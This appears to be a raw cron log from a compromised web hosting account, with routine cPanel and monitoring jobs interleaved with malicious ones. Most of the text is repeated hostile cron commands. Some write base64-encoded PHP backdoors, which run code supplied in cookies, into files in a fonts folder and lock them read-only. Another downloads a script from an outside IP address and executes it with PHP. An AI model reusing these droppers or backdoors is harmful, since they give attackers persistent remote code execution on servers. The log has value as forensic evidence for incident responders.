Sep  7 00:22:01 ip-184-168-122-23 CROND[18045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:22:01 ip-184-168-122-23 CROND[18047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:22:01 ip-184-168-122-23 CROND[18043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:23:01 ip-184-168-122-23 CROND[18131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:23:01 ip-184-168-122-23 CROND[18132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:23:01 ip-184-168-122-23 CROND[18135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:23:01 ip-184-168-122-23 CROND[18139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:24:01 ip-184-168-122-23 CROND[18214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:24:01 ip-184-168-122-23 CROND[18216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:24:01 ip-184-168-122-23 CROND[18217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:24:01 ip-184-168-122-23 CROND[18219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:24:01 ip-184-168-122-23 CROND[18218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:25:01 ip-184-168-122-23 CROND[18310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:25:01 ip-184-168-122-23 CROND[18311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:25:01 ip-184-168-122-23 CROND[18315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:25:01 ip-184-168-122-23 CROND[18313]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 00:25:01 ip-184-168-122-23 CROND[18312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:25:01 ip-184-168-122-23 CROND[18314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:25:01 ip-184-168-122-23 CROND[18317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:26:01 ip-184-168-122-23 CROND[18406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:26:01 ip-184-168-122-23 CROND[18408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:26:01 ip-184-168-122-23 CROND[18412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:26:01 ip-184-168-122-23 CROND[18410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:26:01 ip-184-168-122-23 CROND[18411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:27:01 ip-184-168-122-23 CROND[18575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:27:01 ip-184-168-122-23 CROND[18574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:27:01 ip-184-168-122-23 CROND[18576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:27:01 ip-184-168-122-23 CROND[18573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:28:01 ip-184-168-122-23 CROND[18670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:28:01 ip-184-168-122-23 CROND[18675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:28:01 ip-184-168-122-23 CROND[18672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:28:01 ip-184-168-122-23 CROND[18674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:28:01 ip-184-168-122-23 CROND[18673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:29:01 ip-184-168-122-23 CROND[18759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:29:01 ip-184-168-122-23 CROND[18758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:29:01 ip-184-168-122-23 CROND[18761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:29:01 ip-184-168-122-23 CROND[18760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:30:01 ip-184-168-122-23 CROND[18858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:30:01 ip-184-168-122-23 CROND[18861]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:30:01 ip-184-168-122-23 CROND[18867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:31:01 ip-184-168-122-23 CROND[19024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:31:01 ip-184-168-122-23 CROND[19025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:31:01 ip-184-168-122-23 CROND[19028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:31:01 ip-184-168-122-23 CROND[19031]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:31:01 ip-184-168-122-23 CROND[19032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:32:01 ip-184-168-122-23 CROND[19107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:32:01 ip-184-168-122-23 CROND[19109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:32:01 ip-184-168-122-23 CROND[19112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:32:01 ip-184-168-122-23 CROND[19110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:32:01 ip-184-168-122-23 CROND[19111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:33:01 ip-184-168-122-23 CROND[19280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:33:01 ip-184-168-122-23 CROND[19283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:33:01 ip-184-168-122-23 CROND[19284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:33:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:34:01 ip-184-168-122-23 CROND[19369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:34:01 ip-184-168-122-23 CROND[19371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:34:01 ip-184-168-122-23 CROND[19370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
